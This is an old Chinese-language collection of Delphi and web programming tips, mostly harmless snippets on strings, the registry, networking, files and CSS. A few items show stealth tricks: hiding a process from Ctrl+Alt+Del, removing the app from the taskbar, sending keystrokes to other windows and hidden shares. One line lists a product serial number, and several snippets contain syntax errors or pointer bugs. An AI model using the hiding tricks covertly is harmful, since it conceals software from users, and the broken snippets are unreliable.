Str(value,st);//将数值value（整型或实型）转换成字符串放在st中。例如，a=2.5E4时，则str(a:10,st)将使st的值为' 25000'。
Val(st,var,code);//把字符串表达式st转换为对应整型或实型数值，存放在var中。St必须是一个表示数值的字符串，并符合数值常数的规则。在转换过程中，如果没有检测出错误，变量code置为0，否则置为第一个出错字符的位置。例如，st:=25.4E3,x是一个实型变量，则val(st,x,code)将使X值为25400，code值为0。
Copy(st.pos.num);//返回st串中一个位置pos（整型）处开始的，含有num（整型）个字符的子串。如果pos大于st字符串的长度，那就会返回一个空串，如果pos在255以外，会引起运行错误。例如，st:='Brian'，则Copy(st,2,2)返回'ri'。
Concat(st1,st2,st3……,stn);//把所有自变量表示出的字符串按所给出的顺序连接起来，并返回连接后的值。如果结果的长度255，将产生运行错误。例如，st1:='Brian',st2:=' ',st3:='Wilfred'，则Concat(st1,st2,st3)返回'Brian Wilfred'。
Length(st);//返回字符串表达式st的长度。例如，st:='Brian'，则Length(st)返回值为5。
Pos(obj,target);//返回字符串obj在目标字符串target的第一次出现的位置，如果target没有匹配的串，Pos函数的返回值为0。例如，target:='Brian Wilfred'，则Pos('Wil',target)的返回值是7，Pos('hurbet',target)的返回值是0。

◇[DELPHI]关于处理注册表
uses Registry;
var reg:Tregistry;
reg:=Tregistry.create;
reg.rootkey:='HKey_Current_User';
reg.openkey('Control Panel\Desktop',false);
reg.WriteString('Title Wallpaper','0');
reg.writeString('Wallpaper',filelistbox1.filename);
reg.closereg;
reg.free;

◇[DELPHI]关于键盘常量名
VK_BACK/VK_TAB/VK_RETURN/VK_SHIFT/VK_CONTROL/VK_MENU/VK_PAUSE/VK_ESCAPE
/VK_SPACE/VK_LEFT/VK_RIGHT/VK_UP/VK_DOWN
F1--F12：$70(112)--$7B(123)
A-Z：$41(65)--$5A(90)
0-9：$30(48)--$39(57)
◇[DELPHI]初步判断程序母语
DELPHI软件的DOS提示：This Program Must Be Run Under Win32.
VC++软件的DOS提示：This Program Cannot Be Run In DOS Mode.

◇[DELPHI]操作Cookie
response.cookies("name").domain:='http://www.086net.com';
with response.cookies.add do
begin
name:='username';
value:='username';
end

◇[DELPHI]增加到文档菜单连接
uses shellapi,shlOBJ;
shAddToRecentDocs(shArd_path,pchar(filepath));//增加连接
shAddToRecentDocs(shArd_path,nil);//清空

◇[杂类]备份智能ABC输入法词库
windows\system\user.rem
windows\system\tmmr.rem

◇[DELPHI]判断鼠标按键
if GetAsyncKeyState(VK_LButton)<>0 then ... //左键
if GetAsyncKeyState(VK_MButton)<>0 then ... //中键
if GetAsyncKeyState(VK_RButton)<>0 then ... //右键

◇[DELPHI]设置窗体的最大显示
onFormCreate事件
self.width:=screen.width;
self.height:=screen.height;

◇[DELPHI]按键接受消息
OnCreate事件中处理：Application.OnMessage:=MyOnMessage;
procedure TForm1.MyOnMessage(var MSG:TMSG;var Handle:Boolean);
begin
if msg.message=256 then ... //ANY键
if msg.message=112 then ... //F1
if msg.message=113 then ... //F2
end;

◇[杂类]隐藏共享文件夹
共享效果：可访问，但不可见（在资源管理、网络邻居中）
取共享名为：direction$
访问：//computer/dirction/

◇[Java Script]Java Script网页常用效果
网页60秒定时关闭
<script language="java script"><!--
settimeout('window.close();',60000)
--></script>
关闭窗口
<a href="/" onclick="javascript:window.close();return false;">关闭</a>
定时转URL
<meta http-equiv="refresh" content="40;url=http://www.086net.com">
设为首页
<a onclick="this.style.behavior='url(#default#homepage)';this.sethomepage('http://086net.com');"href="#">设为首页</a>
收藏本站
<a href="javascript:window.external.addfavorite('http://086net.com','[未名码头]')">收藏本站</a>
加入频道
<a href="javascript:window.external.addchannel('http://086net.com')">加入频道</a>

◇[DELPHI]文本编辑相关
checkbox1.checked:=not checkbox1.checked;
if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsBold] else richedit1.font.style:=richedit1.font.style-[fsBold]//粗体
if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsItalic] else richedit1.font.style:=richedit1.font.style-[fsItalic]//斜体
if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsUnderline] else richedit1.font.style:=richedit1.font.style-[fsUnderline]//下划线
memo1.alignment:=taLeftJustify;//居左
memo1.alignment:=taRightJustify;//居右
memo1.alignment:=taCenter;//居中

◇[DELPHI]随机产生文本色
randomize;//随机种子
memo1.font.color:=rgb(random(255),random(255),random(255));

◇[DELPHI]DELPHI5 UPDATE升级补丁序列号
1000003185
90X25fx0

◇[DELPHI]文件名的非法字符过滤
for i:=1 to length(s) do
if s[i] in ['\','/',':','*','?','<','>','|'] then

◇[DELPHI]转换函数的定义及说明
datetimetofiledate (datetime:Tdatetime):longint; 将Tdatetime格式的日期时间值转换成DOS格式的日期时间值
datetimetostr (datetime:Tdatetime):string; 将Tdatatime格式变量转换成字符串，如果datetime参数不包含日期值，返回字符串日期显示成为00/00/00，如果datetime参数中没有时间值，返回字符串中的时间部分显示成为00：00：00 AM
datetimetostring (var result string;
const format:string;
datetime:Tdatetime); 根据给定的格式字符串转换时间和日期值，result为结果字符串，format为转换格式字符串，datetime为日期时间值
datetostr (date:Tdatetime) 使用shortdateformat全局变量定义的格式字符串将date参数转换成对应的字符串
floattodecimal (var result:Tfloatrec;value:
extended;precision,decimals:
integer); 将浮点数转换成十进制表示
floattostr (value:extended):string 将浮点数value转换成字符串格式，该转换使用普通数字格式，转换的有效位数为15位。
floattotext (buffer:pchar;value:extended;
format:Tfloatformat;precision,
digits:integer):integer; 用给定的格式、精度和小数将浮点值value转换成十进制表示形式，转换结果存放于buffer参数中，函数返回值为存储到buffer中的字符位数，buffer是非0结果的字符串缓冲区。
floattotextfmt (buffer:pchar;value:extended;
format:pchar):integer 用给定的格式将浮点值value转换成十进制表示形式，转换结果存放于buffer参数中，函数返回值为存储到buffer中的字符位数。
inttohex (value:longint;digits:integer):
string; 将给定的数值value转换成十六进制的字符串。参数digits给出转换结果字符串包含的数字位数。
inttostr (value:longint):string 将整数转换成十进制形式字符串
strtodate (const S:string):Tdatetime 将字符串转换成日期值，S必须包含一个合法的格式日期的字符串。
strtodatetime (const S:string):Tdatetime 将字符串S转换成日期时间格式，S必须具有MM/DD/YY HH：MM：SS[AM|PM]格式，其中日期和时间分隔符与系统时期时间常量设置相关。如果没有指定AM或PM信息，表示使用24小时制。
strtofloat (const S:string):extended; 将给定的字符串转换成浮点数，字符串具有如下格式：
[+|-]nnn…[.]nnn…[<+|-><E|e><+|->nnnn]
strtoint (const S:string):longint 将数字字符串转换成整数，字符串可以是十进制或十六进制格式，如果字符串不是一个合法的数字字符串，系统发生ECONVERTERROR异常
strtointdef (const S:string;default:
longint):longint; 将字符串S转换成数字，如果不能将S转换成数字，strtointdef函数返回参数default的值。
strtotime (const S:string):Tdatetime 将字符串S转换成TDATETIME值，S具有HH：MM：SS[AM|PM]格式，实际的格式与系统的时间相关的全局变量有关。
timetostr (time:Tdatetime):string; 将参数TIME转换成字符串。转换结果字符串的格式与系统的时间相关常量的设置有关。

◇[DELPHI]程序不出现在ALT+CTRL+DEL
在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
RegisterServiceProcess(GetCurrentProcessID, 0);//显示
用ALT+DEL+CTRL看不见

◇[DELPHI]程序不出现在任务栏
uses windows
var
ExtendedStyle : Integer;
begin
Application.Initialize;
//==============================================================
ExtendedStyle := GetWindowLong (Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle OR WS_EX_TOOLWINDOW
AND NOT WS_EX_APPWINDOW);
//===============================================================
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

◇[DELPHI]如何判断拨号网络是开还是关
if GetSystemMetrics(SM_NETWORK) AND $01 = $01 then
showmessage('在线!')
else showmessage('不在线!');

◇[DELPHI]实现IP到域名的转换
function GetDomainName(Ip:string):string;
var
pH:PHostent;
data:twsadata;
ii:dword;
begin
WSAStartup($101, Data);
ii:=inet_addr(pchar(ip));
pH:=gethostbyaddr(@ii,sizeof(ii),PF_INET);
if (ph<>nil) then
result:=pH.h_name
else
result:='';
WSACleanup;
end;

◇[DELPHI]处理“右键菜单”方法
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey:=HKEY_CLASSES_ROOT;
reg.OpenKey('*\shell\check\command', true);
reg.WriteString('', '"' + application.ExeName + '" "%1"');
reg.CloseKey;
reg.OpenKey('*\shell\diary', false);
reg.WriteString('', '操作(&C)');
reg.CloseKey;
reg.Free;
showmessage('DONE!');
end;

◇[DELPHI]发送虚拟键值ctrl V
procedure sendpaste;
begin
keybd_event(VK_Control, MapVirtualKey(VK_Control, 0), 0, 0);
keybd_event(ord('V'), MapVirtualKey(ord('V'), 0), 0, 0);
keybd_event(ord('V'), MapVirtualKey(ord('V'), 0), KEYEVENTF_KEYUP, 0);
keybd_event(VK_Control, MapVirtualKey(VK_Control, 0), KEYEVENTF_KEYUP, 0);
end;

◇[DELPHI]当前的光驱的盘符
procedure getcdrom(var cd:char);
var
str:string;
drivers:integer;
driver:char;
i,temp:integer;
begin
drivers:=getlogicaldrives;
temp:=(1 and drivers);
for i:=0 to 26 do
begin
if temp=1 then
begin
driver:=char(i+integer('a'));
str:=driver+':';
if getdrivetype(pchar(str))=drive_cdrom then
begin
cd:=driver;
exit;
end;
end;
drivers:=(drivers shr 1);
temp:=(1 and drivers);
end;
end;

◇[DELPHI]字符的加密与解密
function cryptstr(const s:string; stype: dword):string;
var
i: integer;
fkey: integer;
begin
result:='';
case stype of
0: setpass;
begin
randomize;
fkey := random($ff);
for i:=1 to length(s) do
result := result+chr( ord(s[i]) xor i xor fkey);
result := result + char(fkey);
end;
1: getpass
begin
fkey := ord(s[length(s)]);
for i:=1 to length(s) - 1 do
result := result+chr( ord(s[i]) xor i xor fkey);
end;
end;

□◇[DELPHI]向其他应用程序发送模拟键
var
h: THandle;
begin
h := FindWindow(nil, '应用程序标题');
PostMessage(h, WM_KEYDOWN, VK_F9, 0);//发送F9键
end;

□◇[DELPHI]DELPHI 支持的DAO数据格式
td.Fields.Append(td.CreateField ('dbBoolean',dbBoolean,0));
td.Fields.Append(td.CreateField ('dbByte',dbByte,0));
td.Fields.Append(td.CreateField ('dbInteger',dbInteger,0));
td.Fields.Append(td.CreateField ('dbLong',dbLong,0));
td.Fields.Append(td.CreateField ('dbCurrency',dbCurrency,0));
td.Fields.Append(td.CreateField ('dbSingle',dbSingle,0));
td.Fields.Append(td.CreateField ('dbDouble',dbDouble,0));
td.Fields.Append(td.CreateField ('dbDate',dbDate,0));
td.Fields.Append(td.CreateField ('dbBinary',dbBinary,0));
td.Fields.Append(td.CreateField ('dbText',dbText,0));
td.Fields.Append(td.CreateField ('dbLongBinary',dbLongBinary,0));
td.Fields.Append(td.CreateField ('dbMemo',dbMemo,0));
td.Fields['ID'].Set_Attributes(dbAutoIncrField);//自增字段

□◇[DELPHI]DELPHI配置MS SQL 7和BDE步骤
第一步，配置ODBC：
先在ODBC 中设数据源，安装过SQL Server7.0 后,ODBC中有一项"系统DSN"应该有两项
数据源，一个是MQIS，一个是LocalSever，任选一个选后点击配置按钮，不知你的SQL7.0
是不是安装在本地机器上，如果是的话直接进行下一步，如果不是，在服务器一栏中填上
Server,然后进行下一步，填写登录ID 和密码（登录ID，和密码是在SQL7.0中的用户选项
中设的）。
第二步，配置BDE:
打开Delphi的BDE，然后点击MQIS 或 LocalServer，就会提示用户名和密码，这和
ODBC的用户名和密码是一样的，填上就行了。
第三步，配置程序：
如果用的是TTable，就在TTable的DatabaseName中选择MQIS 或LocalServer,然后在
TableName中选择Sale就行了，然后将Active改为True,Delphi弹出提示对话，填入用户
名和密码。
如果用的是TQuery,在TQuery上点击右键，再击"SQL Builder"，这是以界面方式配置
SQL语句，或者在TQuery的SQL中填入SQL语句。最后，别忘了将Active改为True。
在运行也可能配置TQuery,具体见Delphi帮助。

□◇[DELPHI]得到图像上某一点的RGB值
procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
red,green,blue:byte ;
i:integer;
begin
i:= image1.Canvas.Pixels[x,y];
Blue:= GetBValue(i);
Green:= GetGValue(i):
Red:= GetRValue(i);
Label1.Caption:=inttostr(Red);
Label2.Caption:=inttostr(Green);
Label3.Caption:=inttostr(Blue);
end;

□◇[DELPHI]关于日期格式分解转换
var year,month,day:word;now2:Tdatatime;
now2:=date();
decodedate(now2,year,month,day);
lable1.Text :=inttostr(year)+'年'+inttostr(month)+'月'+inttostr(day)+'日';

◇[DELPHI]如何判断当前网络连接方式
判断结果是MODEM、局域网或是代理服务器方式。
uses wininet;
Function ConnectionKind :boolean;
var flags: dword;
begin
Result := InternetGetConnectedState(@flags, 0);
if Result then
begin
if (flags and INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM then
begin
showmessage('Modem');
end;
if (flags and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
begin
showmessage('LAN');
end;
if (flags and INTERNET_CONNECTION_PROXY) = INTERNET_CONNECTION_PROXY then
begin
showmessage('Proxy');
end;
if (flags and INTERNET_CONNECTION_MODEM_BUSY)=INTERNET_CONNECTION_MODEM_BUSY then
begin
showmessage('Modem Busy');
end;
end;
end;

◇[DELPHI]如何判断字符串是否是有效EMAIL地址
function IsEMail(EMail: String): Boolean;
var s: String;ETpos: Integer;
begin
ETpos:= pos('@', EMail);
if ETpos > 1 then
begin
s:= copy(EMail,ETpos+1,Length(EMail));
if (pos('.', s) > 1) and (pos('.', s) < length(s)) then
Result:= true else Result:= false;
end
else
Result:= false;
end;

◇[DELPHI]判断系统是否连接INTERNET
需要引入URL.DLL中的InetIsOffline函数。
函数申明为：
function InetIsOffline(Flag: Integer): Boolean; stdcall; external 'URL.DLL';
然后就可以调用函数判断系统是否连接到INTERNET
if InetIsOffline(0) then ShowMessage('not connected!')
else ShowMessage('connected!');
该函数返回TRUE如果本地系统没有连接到INTERNET。
附：
大多数装有IE或OFFICE97的系统都有此DLL可供调用。
InetIsOffline
BOOL InetIsOffline(
DWORD dwFlags,
);

◇[DELPHI]简单地播放和暂停WAV文件
uses mmsystem;

function PlayWav(const FileName: string): Boolean;
begin
Result := PlaySound(PChar(FileName), 0, SND_ASYNC);
end;

procedure StopWav;
var
buffer: array[0..2] of char;
begin
buffer[0] := #0;
PlaySound(Buffer, 0, SND_PURGE);
end;

◇[DELPHI]取机器BIOS信息
with Memo1.Lines do
begin
Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
end;

◇[DELPHI]网络下载文件
uses UrlMon;

function DownloadFile(Source, Dest: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
except
Result := False;
end;
end;

if DownloadFile('http://www.borland.com/delphi6.zip, 'c:\kylix.zip') then
ShowMessage('Download succesful')
else ShowMessage('Download unsuccesful')

◇[DELPHI]解析服务器IP地址
uses winsock

function IPAddrToName(IPAddr : String): String;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt<>nil then result:=StrPas(Hostent^.h_name) else result:='';
end;

◇[DELPHI]取得快捷方式中的连接
function ExeFromLink(const linkname: string): string;
var
FDir,
FName,
ExeName: PChar;
z: integer;
begin
ExeName:= StrAlloc(MAX_PATH);
FName:= StrAlloc(MAX_PATH);
FDir:= StrAlloc(MAX_PATH);
StrPCopy(FName, ExtractFileName(linkname));
StrPCopy(FDir, ExtractFilePath(linkname));
z:= FindExecutable(FName, FDir, ExeName);
if z > 32 then
Result:= StrPas(ExeName)
else
Result:= '';
StrDispose(FDir);
StrDispose(FName);
StrDispose(ExeName);
end;

◇[DELPHI]控制TCombobox的自动完成
{'Sorted' property of the TCombobox to true }
var lastKey: Word; //全局变量
//TCombobox的OnChange事件
procedure TForm1.AutoCompleteChange(Sender: TObject);
var
SearchStr: string;
retVal: integer;
begin
SearchStr := (Sender as TCombobox).Text;
if lastKey <> VK_BACK then // backspace: VK_BACK or $08
begin
retVal := (Sender as TCombobox).Perform(CB_FINDSTRING, -1, LongInt(PChar(SearchStr)));
if retVal > CB_Err then
begin
(Sender as TCombobox).ItemIndex := retVal;
(Sender as TCombobox).SelStart := Length(SearchStr);
(Sender as TCombobox).SelLength :=
(Length((Sender as TCombobox).Text) - Length(SearchStr));
end; // retVal > CB_Err
end; // lastKey <> VK_BACK
lastKey := 0; // reset lastKey
end;
//TCombobox的OnKeyDown事件
procedure TForm1.AutoCompleteKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
lastKey := Key;
end;

◇[DELPHI]如何清空一个目录
function EmptyDirectory(TheDirectory :String ; Recursive : Boolean) :
Boolean;
var
SearchRec : TSearchRec;
Res : Integer;
begin
Result := False;
TheDirectory := NormalDir(TheDirectory);
Res := FindFirst(TheDirectory + '*.*', faAnyFile, SearchRec);
try
while Res = 0 do
begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
begin
if ((SearchRec.Attr and faDirectory) > 0) and Recursive
then begin
EmptyDirectory(TheDirectory + SearchRec.Name, True);
RemoveDirectory(PChar(TheDirectory + SearchRec.Name));
end
else begin
DeleteFile(PChar(TheDirectory + SearchRec.Name))
end;
end;
Res := FindNext(SearchRec);
end;
Result := True;
finally
FindClose(SearchRec.FindHandle);
end;
end;

◇[DELPHI]如何计算一个目录的大小
function GetDirectorySize(const ADirectory: string): Integer;
var
Dir: TSearchRec;
Ret: integer;
Path: string;
begin
Result := 0;
Path := ExtractFilePath(ADirectory);
Ret := Sysutils.FindFirst(ADirectory, faAnyFile, Dir);
if Ret <> NO_ERROR then exit;
try
while ret=NO_ERROR do
begin
inc(Result, Dir.Size);
if (Dir.Attr in [faDirectory]) and (Dir.Name[1] <> '.') then
Inc(Result, GetDirectorySize(Path + Dir.Name + '\*.*'));
Ret := Sysutils.FindNext(Dir);
end;
finally
Sysutils.FindClose(Dir);
end;
end;

◇[DELPHI]安装程序如何添加到Uninstall列表
操作注册表，如下：
1.在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall键下建立一个主键，名称任意。
例HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyUninstall
2.在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyUnistall下键两个串值，
这两个串值的名称是特定的：DisplayName和UninstallString。
3.给串DisplayName赋值为显示在“删除应用程序列表”中的名称，如'Aiming Uninstall one';
给串UninstallString赋值为执行的删除命令，如 C:\WIN97\uninst.exe -f"C:\TestPro\aimTest.isu"

◇[DELPHI]截获WM_QUERYENDSESSION关机消息
type
TForm1 = class(TForm)
procedure WMQueryEndSession(var Message: TWMQueryEndSession); message WM_QUERYENDSESSION;
procedure CMEraseBkgnd(var Message:TWMEraseBkgnd);Message WM_ERASEBKGND;
private
{ Private declarations }
public
{ Public declarations }
end;

procedure TForm1.WMQueryEndSession(var Message: TWMQueryEndSession);
begin
Showmessage('computer is about to shut down');
end;

◇[DELPHI]获取网上邻居
procedure getnethood();//NT做服务器，WIN98上调试通过。
var
a,i:integer;
errcode:integer;
netres:array[0..1023] of netresource;
enumhandle:thandle;
enumentries:dword;
buffersize:dword;
s:string;
mylistitems:tlistitems;
mylistitem:tlistitem;
alldomain:tstrings;
begin //listcomputer is a listview to list all computers;controlcenter is a form.
alldomain:=tstringlist.Create ;
with netres[0] do begin
dwscope :=RESOURCE_GLOBALNET;
dwtype :=RESOURCETYPE_ANY;
dwdisplaytype :=RESOURCEDISPLAYTYPE_DOMAIN;
dwusage :=RESOURCEUSAGE_CONTAINER;
lplocalname :=nil;
lpremotename :=nil;
lpcomment :=nil;
lpprovider :=nil;
end; // 获取所有的域
errcode:=wnetopenenum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY,RESOURCEUSAGE_CONTAINER,@netres[0],enumhandle);
if errcode=NO_ERROR then begin
enumentries:=1024;
buffersize:=sizeof(netres);
errcode:=wnetenumresource(enumhandle,enumentries,@netres[0],buffersize);
end;
a:=0;
mylistitems :=controlcenter.lstcomputer.Items ;
mylistitems.Clear ;
while (string(netres[a].lpprovider)<>'') and (errcode=NO_ERROR) do
begin
alldomain.Add (netres[a].lpremotename);
a:=a+1;
end;
wnetcloseenum(enumhandle);
// 获取所有的计算机
mylistitems :=controlcenter.lstcomputer.Items ;
mylistitems.Clear ;
for i:=0 to alldomain.Count-1 do
begin
with netres[0] do begin
dwscope :=RESOURCE_GLOBALNET;
dwtype :=RESOURCETYPE_ANY;
dwdisplaytype :=RESOURCEDISPLAYTYPE_SERVER;
dwusage :=RESOURCEUSAGE_CONTAINER;
lplocalname :=nil;
lpremotename :=pchar(alldomain[i]);
lpcomment :=nil;
lpprovider :=nil;
end;
ErrCode:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY,RESOURCEUSAGE_CONTAINER,@netres[0],EnumHandle);
if errcode=NO_ERROR then
begin
EnumEntries:=1024;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(EnumHandle,EnumEntries,@NetRes[0],BufferSize);
end;
a:=0;
while (string(netres[a].lpprovider)<>'') and (errcode=NO_ERROR) do
begin
mylistitem :=mylistitems.Add ;
mylistitem.ImageIndex :=0;
mylistitem.Caption :=uppercase(stringreplace(string(NetRes[a].lpremotename),'\\','',[rfReplaceAll]));
a:=a+1;
end;
wnetcloseenum(enumhandle);
end;
end;

◇[DELPHI]获取某一计算机上的共享目录
procedure getsharefolder(const computername:string);
var
errcode,a:integer;
netres:array[0..1023] of netresource;
enumhandle:thandle;
enumentries,buffersize:dword;
s:string;
mylistitems:tlistitems;
mylistitem:tlistitem;
mystrings:tstringlist;
begin
with netres[0] do begin
dwscope :=RESOURCE_GLOBALNET;
dwtype :=RESOURCETYPE_DISK;
dwdisplaytype :=RESOURCEDISPLAYTYPE_SHARE;
dwusage :=RESOURCEUSAGE_CONTAINER;
lplocalname :=nil;
lpremotename :=pchar(computername);
lpcomment :=nil;
lpprovider :=nil;
end; // 获取根结点
errcode:=wnetopenenum(RESOURCE_GLOBALNET,RESOURCETYPE_DISK,RESOURCEUSAGE_CONTAINER,@netres[0],enumhandle);
if errcode=NO_ERROR then
begin
EnumEntries:=1024;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(EnumHandle,EnumEntries,@NetRes[0],BufferSize);
end;
wnetcloseenum(enumhandle);
a:=0;
mylistitems:=controlcenter.lstfile.Items ;
mylistitems.Clear ;
while (string(netres[a].lpprovider)<>'') and (errcode=NO_ERROR) do
begin
with mylistitems do
begin
mylistitem:=add;
mylistitem.ImageIndex :=4;
mylistitem.Caption :=extractfilename(netres[a].lpremotename);
end;
a:=a+1;
end;
end;

◇[DELPHI]得到硬盘序列号
var SerialNum : pdword; a, b : dword; Buffer : array [0..255] of char;
begin
if GetVolumeInformation('c:\', Buffer, SizeOf(Buffer), SerialNum, a, b, nil, 0) then Label1.Caption := IntToStr(SerialNum^);
end;

◇[DELPHI]MEMO的自动翻页
Procedure ScrollMemo(Memo : TMemo; Direction : char);
begin
case direction of
'd': begin
SendMessage(Memo.Handle, { HWND of the Memo Control }
WM_VSCROLL, { Windows Message }
SB_PAGEDOWN, { Scroll Command }
0) { Not Used }
end;

'u' : begin
SendMessage(Memo.Handle, { HWND of the Memo Control }
WM_VSCROLL, { Windows Message }
SB_PAGEUP, { Scroll Command }
0); { Not Used }
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ScrollMemo(Memo1,'d'); //上翻页
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ScrollMemo(Memo1,'u'); //下翻页
end;

◇[DELPHI]DBGrid中回车到下个位置(Tab键)
procedure TForm1.DBGrid1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
if DBGrid1.Columns.Grid.SelectedIndex < DBGrid1.Columns.Count - 1 then
DBGrid1.Columns[DBGrid1.Columns.grid.SelectedIndex + 1].Field.FocusControl
else
begin
Table1.next;
DBGrid1.Columns[0].field.FocusControl;
end;
end;

◇[DELPHI]如何安装控件
安装方法：
1.对于单个控件，Component-->install component..-->PAS或DCU文件-->install
2.对于带*.dpk文件的控件包，File-->open(下拉列表框中选*.dpk)-->install即可.
3.对于带*.dpl文件的控件包，Install Packages-->Add-->dpl文件名即可。
4.如果以上Install按钮为失效的话，试试Compile按钮。
5.是run time lib则在option下的packages下的runtimepackes加之.
如果编译时提示文件找不到的话，一般是控件的安装目录不在delphi的Lib目录中，有两种方法可以解决：
1.把安装的原文件拷入到delphi的Lib目录下。
2.或者Tools-->Environment Options中把控件原代码路径加入到Delphi的Lib目录中即可。

◇[DELPHI]目录完全删除（deltree）
procedure TForm1.DeleteDirectory(strDir:String);
var
sr: TSearchRec;
FileAttrs: Integer;
strfilename:string;
strPth:string;
begin
strpth:=Getcurrentdir();
FileAttrs := faAnyFile;
if FindFirst(strpth+'\'+strdir+'\*.*', FileAttrs, sr) = 0 then
begin
if (sr.Attr and FileAttrs) = sr.Attr then
begin
strfilename:=sr.Name;
if fileexists(strpth+'\'+strdir+'\'+strfilename) then
deletefile(strpth+'\'+strdir+'\'+strfilename);
end;
while FindNext(sr) = 0 do
begin
if (sr.Attr and FileAttrs) = sr.Attr then
begin
strfilename:=sr.name;
if fileexists(strpth+'\'+strdir+'\'+strfilename) then
deletefile(strpth+'\'+strdir+'\'+strfilename);
end;
end;
FindClose(sr);
removedir(strpth+'\'+strdir);
end;
end;

◇[DELPHI]取得TMemo 控件当前光标的行和列信息到Tpoint中
1.function ReadCursorPos(SourceMemo: TMemo): TPoint;
var Point: TPoint;
begin
  point.y := SendMessage(SourceMemo.Handle,EM_LINEFROMCHAR,SourceMemo.SelStart,0);
  point.x := SourceMemo.SelStart-SendMessage(SourceMemo.Handle,EM_LINEINDEX,point.y,0);
  Result := Point;
end;
2.LineLength：=SendMessage（memol．handle，EM—LINELENGTH，Cpos，0）；//行长

◇[DELPHI]读硬盘序列号
function GetDiskSerial(DiskChar: Char): string;
var
SerialNum : pdword;
a, b : dword;
Buffer : array [0..255] of char;
begin
result := "";
if GetVolumeInformation(PChar(diskchar+":\"), Buffer, SizeOf(Buffer), SerialNum,
a, b, nil, 0) then
  Result := IntToStr(SerialNum^);
end;

◇[INTERNET]CSS常用综合技巧
1。P:first-letter { font-size: 300%; float: left }//首字会比普通字体加大三倍。
2。<LINK REL=StyleSheet HREF="basics.css" TITLE="Contemporary">//连接一个外部样式表
3。嵌入一个样式表
<STYLE TYPE="text/css" MEDIA=screen>
<!--
@import url(http://www.htmlhelp.com/style.css);//外部导入一个样式表
@import url(/stylesheets/punk.css);//同上
BODY { background: url(foo.gif) red; color: black }
.punk { color: lime; background: #ff80c0 }//引用见5。
#wdg97 { font-size: larger }//引用见6。
-->
</STYLE>
4。<P STYLE="color: red; font-family: 'New Century Schoolbook', serif"> //内联样式
<SPAN STYLE="font-family: Arial">Arial</SPAN>//SPAN接受STYLE、CLASS和ID属性
<DIV CLASS=note><P>DIV可以包含段落、标题、表格甚至其它部分</P></DIV>
5。<H1 CLASS=punk>CLASS属性</H1>//定义见3。
6。<P ID=wdg97>ID属性</P>//定义见3。
7。属性列表
字体风格：font-style: [normal | italic | oblique];
字体大小：font-size: [xx-small | x-small | small | medium | large | x-large | xx-large | larger | smaller | <长度> | <百分比>]
文本修饰：text-decoration:[ underline || overline || line-through || blink ]
文本转换：text-transform:[none | capitalize | uppercase | lowercase]
背景颜色：background-color:[<颜色> | transparent]
背景图象：background-image:[<URLs> | none]
行高：line-height: [normal | <数字> | <长度> | <百分比>]
边框样式：border-style: [ none | dotted | dashed | solid | double | groove | ridge | inset | outset ]
漂浮：float: [left | right | none]
8。长度单位
相对单位：
em (em，元素的字体的高度)
ex (x-height，字母 "x" 的高度)
px (像素，相对于屏幕的分辨率)
绝对长度：
in (英寸，1英寸=2.54厘米)
cm (厘米，1厘米=10毫米)
mm (米)
pt (点，1点=1/72英寸)
pc (帕，1帕=12点)

◇[DELPHI]VCL制作简要步骤
1.创建部件属性方法事件
（建立库单元，继承为新的类型，添加属性、方法、事件，注册部件，建立包文件）
2.消息处理
3.异常处理
4.部件可视

◇[DELPHI]动态连接库的装载
静态装载：procedure name;external 'lib.dll';
动态装载：var handle:Thandle;
handle:=loadlibrary('lib.dll');
if handle<>0 then
begin
{dosomething}
freelibrary(handle);
end;

◇[DELPHI]指针变量和地址
var x,y:integer;p:^integer;//指向INTEGER变量的指针
x:=10;//变量赋值
p:=@x;//变量x的地址
y:=p^;//为Y赋值指针P
@@procedure//返回过程变量的内存地址

◇[DELPHI]判断字符是汉字的一个字符
ByteType('你好haha吗',1) = mbLeadByte//是第一个字符
ByteType('你好haha吗',2) = mbTrailByte//是第二个字符
ByteType('你好haha吗',5) = mbSingleByte//不是中文字符

◇[DELPHI]memo的定位操作
memo1.lines.delete(0)//删除第1行
memo1.selstart:=10//定位10字节处

◇[DELPHI]获得双字节字符内码
function getit(s: string): integer;
begin
Result := byte(s[1]) * $100 + byte(s[2]);
end;
使用：getit('计')//$bcc6 即十进制 48326

◇[DELPHI]调用ADD数据存储过程
